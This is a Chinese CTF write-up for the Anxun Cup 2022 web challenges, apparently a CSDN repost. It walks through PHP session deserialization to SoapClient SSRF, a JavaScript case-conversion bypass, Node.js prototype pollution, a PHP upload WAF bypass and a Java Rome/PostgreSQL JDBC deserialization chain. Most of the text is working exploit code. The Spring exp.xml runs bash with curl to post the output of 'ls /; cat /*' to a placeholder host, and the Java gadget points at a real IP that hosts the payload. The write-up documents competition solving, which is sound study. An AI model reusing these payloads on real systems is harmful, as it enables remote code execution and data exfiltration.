• 安洵杯2022 Web Writeup


    index.php:

    1. //something in flag.php
    2. class A
    3. {
    4. public $a;
    5. public $b;
    6. public function __wakeup()
    7. {
    8. $this->a = "babyhacker";
    9. }
    10. public function __invoke()
    11. {
    12. if (isset($this->a) && $this->a == md5($this->a)) {
    13. $this->b->uwant();
    14. }
    15. }
    16. }
    17. class B
    18. {
    19. public $a;
    20. public $b;
    21. public $k;
    22. function __destruct()
    23. {
    24. $this->b = $this->k;
    25. die($this->a);
    26. }
    27. }
    28. class C
    29. {
    30. public $a;
    31. public $c;
    32. public function __toString()
    33. {
    34. $cc = $this->c;
    35. return $cc();
    36. }
    37. public function uwant()
    38. {
    39. if ($this->a == "phpinfo") {
    40. phpinfo();
    41. } else {
    42. call_user_func(array(reset($_SESSION), $this->a));
    43. }
    44. }
    45. }
    46. if (isset($_GET['d0g3'])) {
    47. ini_set($_GET['baby'], $_GET['d0g3']);
    48. session_start();
    49. $_SESSION['sess'] = $_POST['sess'];
    50. }
    51. else{
    52. session_start();
    53. if (isset($_POST["pop"])) {
    54. unserialize($_POST["pop"]);
    55. }
    56. }
    57. var_dump($_SESSION);
    58. highlight_file(__FILE__);

    flag.php:

    1. session_start();
    2. highlight_file(__FILE__);
    3. //flag在根目录下
    4. if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    5. $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    6. $_SESSION["F1AG"]= $f1ag;
    7. }else{
    8. echo "only localhost!!";
    9. }

    通过构造 pop 链查看 phpinfo 发现 session.serialize_handler 为 php, 再结合 flag.php 的源码推测是利用 session 反序列化 SoapClient 来进行 ssrf

    思路就是先控制 ini_set 的参数指定 serialize_handler 为 php_serialize, 传参 sess 为反序列化 SoapClient 的 payload, 然后去掉所有 get post 参数访问一次页面触发反序列化, 最后利用已知 pop 链调用 SoapClient __call 方法来触发 ssrf

    ssrf 则先利用 php 的原生类 GlobIterator 来查找根目录下以 f 开头的文件, 然后利用 SplFileObject 读取 flag

    pop 链 payload:

    1. class A
    2. {
    3. public $a;
    4. public $b;
    5. }
    6. class B
    7. {
    8. }
    9. class C
    10. {
    11. public $a;
    12. public $c;
    13. }
    14. $cc = new C();
    15. $cc->a = 'xxxx';
    16. $a = new A();
    17. $a->a = '0e215962017';
    18. $a->b = $cc;
    19. $c = new C();
    20. $c->c = $a;
    21. $b = new B();
    22. $b->a = $c;
    23. echo serialize($b);

    ssrf payload:

    1. <?php
    2. // $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/f*', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
    3. $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
    4. $b = serialize($a);
    5. echo '|'.urlencode($b);

    先利用 GlobIterator

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271930808.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271931449.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271934414.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271935912.png

    再利用 SplFileObject

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936690.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936090.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938787.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938294.png

    登录界面随便输入账号密码, 之后会跳转到 /cookie 路由, 右键注释 jsfuck 解密提示 输入大写

    主页右键注释如下:

    一眼哈希长度扩展攻击

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271942270.png

    直接更改 cookie hash 发现没有用, 后来又将 userid 置空, 出现报错

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271943926.png

    结合之前的提示, 利用 js 的大小写特性:

    'ı'.toUpperCase() == 'I' // true
    

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271944110.png

    之后跳转到 /infoflllllag (静态环境每 30 分钟重置, 所以截的是之前的图)

    1. var express = require('express');
    2. var router = express.Router();
    3. const isObject = obj => obj && obj.constructor && obj.constructor === Object;
    4. const merge = (a, b) => {
    5. for (var attr in b) {
    6. if (isObject(a[attr]) && isObject(b[attr])) {
    7. merge(a[attr], b[attr]);
    8. } else {
    9. a[attr] = b[attr];
    10. }
    11. }
    12. return a
    13. }
    14. const clone = (a) => {
    15. return merge({}, a);
    16. }
    17. router.get('/', function(req, res, next) {
    18. if(req.flag=="flag"){
    19. //输出flag;
    20. res.send('flag?????????????');
    21. }
    22. res.render('info');
    23. });
    24. router.post('/', express.json(),function(req, res) {
    25. var str = req.body.id;
    26. var obj = JSON.parse(str);
    27. req.cookies.id=clone(obj);
    28. res.render('info');
    29. });
    30. module.exports = router;

    很明显要通过原型链来污染 req 的 flag 属性, payload 如下

    id={"__proto__":+{"flag":+"flag"}}
    

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271947808.png

    之后转 get 访问得到 flag

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948522.png

    静态靶机的截图

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948518.png

    先上传 phpinfo

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271949581.png

    php 8.0.1, disable_functions 过滤了一堆, 不过 file_get_contents() 可用, 通过它读取题目源码

    1. <html>
    2. <body>
    3. <form method="POST" enctype="multipart/form-data">
    4. 这前端不美si你!!!
    5. <input type="file" name="upload_file" />
    6. <input type="submit" name="submit" value="submit" />
    7. </form>
    8. </body>
    9. </html>
    10. <?php
    11. function waf($var): bool{
    12. $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
    13. foreach($blacklist as $blackword){
    14. if(stristr($var, $blackword)) return True;
    15. }
    16. return False;
    17. }
    18. error_reporting(0);
    19. //设置上传目录
    20. define("UPLOAD_PATH", "./uploads");
    21. $msg = "Upload Success!";
    22. if (isset($_POST['submit'])) {
    23. $temp_file = $_FILES['upload_file']['tmp_name'];
    24. $file_name = $_FILES['upload_file']['name'];
    25. $ext = pathinfo($file_name,PATHINFO_EXTENSION);
    26. if(!preg_match("/php/i", strtolower($ext))){
    27. die("俺不要图片,熊大");
    28. }
    29. $content = file_get_contents($temp_file);
    30. if(waf($content)){
    31. die("哎呦你干嘛,小黑子...");
    32. }
    33. $new_file_name = md5($file_name).".".$ext;
    34. $img_path = UPLOAD_PATH . '/' . $new_file_name;
    35. if (move_uploaded_file($temp_file, $img_path)){
    36. $is_upload = true;
    37. } else {
    38. $msg = 'Upload Failed!';
    39. die();
    40. }
    41. echo $msg." ".$img_path;

    位运算 & | 没有被过滤, 这里以 | 为例, 利用 GlobIterator 查找 flag

    1. import re
    2. preg = '\*'
    3. def convertToURL(s):
    4. if s < 16:
    5. return '%0' + str(hex(s).replace('0x', ''))
    6. else:
    7. return '%' + str(hex(s).replace('0x', ''))
    8. def generateDicts():
    9. dicts = {}
    10. for i in range(256):
    11. for j in range(256):
    12. if not re.match(preg, chr(i), re.I) and not re.match(preg, chr(j), re.I):
    13. k = i | j
    14. if k in range(32, 127):
    15. if not k in dicts.keys():
    16. dicts[chr(k)] = [convertToURL(i), convertToURL(j)]
    17. return dicts
    18. def generatePayload(dicts, payload):
    19. s1 = ''
    20. s2 = ''
    21. for s in payload:
    22. s1 += dicts[s][0]
    23. s2 += dicts[s][1]
    24. return f'("{s1}"|"{s2}")'
    25. dicts = generateDicts()
    26. a = generatePayload(dicts, '/f*')
    27. print(a)

    payload

     echo new GlobIterator('/f('|'/f"');
    

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271954406.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271954423.png

    然后用 file_get_contents() 读取 flag

     echo ('fil'.'e_ge'.'t_cont'.'ents')('/fl1111111111ag');
    

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271955530.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271955702.png

    pom.xml

    1. <?xml version="1.0" encoding="UTF-8"?>
    2. <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    3. xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    4. <modelVersion>4.0.0</modelVersion>
    5. <parent>
    6. <groupId>org.springframework.boot</groupId>
    7. <artifactId>spring-boot-starter-parent</artifactId>
    8. <version>2.7.5</version>
    9. <relativePath/> <!-- lookup parent from repository -->
    10. </parent>
    11. <groupId>com.example</groupId>
    12. <artifactId>ezjaba</artifactId>
    13. <version>0.0.1-SNAPSHOT</version>
    14. <name>ezjaba</name>
    15. <description>ezjaba</description>
    16. <properties>
    17. <java.version>1.8</java.version>
    18. </properties>
    19. <dependencies>
    20. <dependency>
    21. <groupId>org.springframework.boot</groupId>
    22. <artifactId>spring-boot-starter-web</artifactId>
    23. </dependency>
    24. <dependency>
    25. <groupId>org.springframework.boot</groupId>
    26. <artifactId>spring-boot-starter-test</artifactId>
    27. <scope>test</scope>
    28. </dependency>
    29. <dependency>
    30. <groupId>com.rometools</groupId>
    31. <artifactId>rome</artifactId>
    32. <version>1.7.0</version>
    33. </dependency>
    34. <dependency>
    35. <groupId>org.postgresql</groupId>
    36. <artifactId>postgresql</artifactId>
    37. <version>42.3.1</version>
    38. </dependency>
    39. <dependency>
    40. <groupId>mysql</groupId>
    41. <artifactId>mysql-connector-java</artifactId>
    42. <version>8.0.12</version>
    43. </dependency>
    44. </dependencies>
    45. <build>
    46. <plugins>
    47. <plugin>
    48. <groupId>org.springframework.boot</groupId>
    49. <artifactId>spring-boot-maven-plugin</artifactId>
    50. </plugin>
    51. </plugins>
    52. </build>
    53. </project>

    IndexController

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957830.png

    Database

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957963.png

    JdbcUtils

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957966.png

    SecurityObjectInpitStream

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271958986.png

    过滤了 mysql jdbc 反序列化, 网上查了一会发现最近 postgresql 依赖的 cve

    https://xz.aliyun.com/t/11812

    https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485275&idx=1&sn=e06b07579ecef87f8cce4536d25789ce

    结合 pom.xml 中的 rome, 通过 ToStringBean 来触发任意 getter

    在题目中是利用 Database getConnection 这个 getter 来触发 jdbc 漏洞

    之后从 marshalsec 的源码中找到 XString, 它的 equals 方法会调用 toString, 最终结合 hashCode 碰撞完成整条反序列化链

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272004771.png

    payload:

    1. package com.example.ezjaba;
    2. import com.example.Reflection;
    3. import com.example.ezjaba.Connection.Database;
    4. import com.rometools.rome.feed.impl.ToStringBean;
    5. import com.sun.org.apache.xpath.internal.objects.XString;
    6. import java.io.ByteArrayOutputStream;
    7. import java.io.ObjectOutputStream;
    8. import java.util.*;
    9. public class RomeDemo {
    10. public static void main(String[] args) throws Exception{
    11. Database database = new Database();
    12. database.setDatabase("postgresql");
    13. database.setHots("127.0.0.1");
    14. database.setUsername("test");
    15. database.setPassword("=123456&socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://1.117.70.230:65001/exp.xml");
    16. ToStringBean toStringBean = new ToStringBean(String.class, "123");
    17. XString xString = new XString("456");
    18. Map map1 = new HashMap();
    19. Map map2 = new HashMap();
    20. map1.put("yy",toStringBean);
    21. map1.put("zZ",xString);
    22. map2.put("yy",xString);
    23. map2.put("zZ",toStringBean);
    24. Map map = new HashMap();
    25. map.put(map1, 1);
    26. map.put(map2, 2);
    27. Reflection.setFieldValue(toStringBean, "beanClass", Database.class);
    28. Reflection.setFieldValue(toStringBean, "obj", database);
    29. ByteArrayOutputStream arr = new ByteArrayOutputStream();
    30. try (ObjectOutputStream output = new ObjectOutputStream(arr)){
    31. output.writeUTF("axb");
    32. output.writeInt(2022);
    33. output.writeObject(map);
    34. }
    35. System.out.println(Base64.getEncoder().encodeToString(arr.toByteArray()));
    36. }
    37. }

    exp.xml:

    1. <beans xmlns="http://www.springframework.org/schema/beans"
    2. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    3. xmlns:p="http://www.springframework.org/schema/p"
    4. xsi:schemaLocation="http://www.springframework.org/schema/beans
    5. http://www.springframework.org/schema/beans/spring-beans.xsd">
    6. <!-- 普通方式创建类-->
    7. <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    8. <constructor-arg>
    9. <list>
    10. <value>bash</value>
    11. <value>-c</value>
    12. <value>curl http://x.x.x.x:yyyy/ -X POST -d "`ls /;cat /*`"</value>
    13. </list>
    14. </constructor-arg>
    15. </bean>
    16. </beans>

    vps 上挂着 exp.xml, 然后用 base64 payload 打一下

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272107558.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272108046.png

    https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272114396.png

  • 相关阅读:
    Axios 前后端交互工具学习
    Qt扫盲-QSqlQueryModel理论总结
    ThingsBoard 实现设备认领
    真棒啊,Facebook 官方推出一个模型解释 & 可视化工具 Captum
    5个实用的SQLite数据库可视化工具(GUI)
    C/S架构学习之基于UDP的本地通信(服务器)
    Spring与OAuth2:实现第三方认证和授权的最佳实践
    智慧楼宇物联网建设实施方案(1)
    docker之Harbor私有仓库
    DevExpress WPF中文教程:Grid - 如何排序、分组、过滤数据(设计时)?
  • 原文地址:https://blog.csdn.net/m0_64910183/article/details/128131526